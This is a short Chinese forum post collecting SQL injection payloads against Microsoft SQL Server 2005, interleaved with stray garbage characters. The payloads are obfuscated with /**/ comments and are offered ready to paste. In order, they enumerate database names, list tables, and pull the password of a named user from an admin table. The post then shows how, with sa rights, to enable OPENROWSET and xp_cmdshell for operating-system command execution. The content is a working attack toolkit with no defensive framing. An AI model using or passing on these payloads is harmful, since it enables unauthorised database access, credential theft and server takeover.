MSsql2005注入语句

admin

5 \$ P& ]0 s6 |2 o4 V" N5 Y" t
[Copy to clipboard]CODE:
6 }$ I# P( n  N# ^; U- V/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--

3 ?/ N" n: V( V  p# X爆表语句,somedb部份是所要列的数据库，红色数字1累加
' P/ @: Y, G( S, Q$ C" ]
' \7 ^# H* W! S4 ^
[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
$ I* ~' @9 p$ j$ C% D
+ }/ D: f6 i8 r1 w爆字段语句，爆表admin里user='icerover'的密码段
! p8 J/ E7 ^+ G0 A9 L6 J- G

[Copy to clipboard]CODE:
2 W& t: a  Q% G  f**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的，openrowset也不能用
2 x  z1 F- M( |2 |8 b. G6 x& h如果是sa权限，可以这样来开启
开启openrowset


2 ?$ P8 M8 V, {3 h& a! d# }[Copy to clipboard]CODE:
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--

开启xp_cmdshell

, y( I3 U; E. ?  a
% p- m7 s1 A1 C9 {[Copy to clipboard]CODE:
  Q: I: ~6 b6 I; N: V6 KEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--

ok,over~~晚安
8 h* W( ~5 g6 g, I  E" g: b" n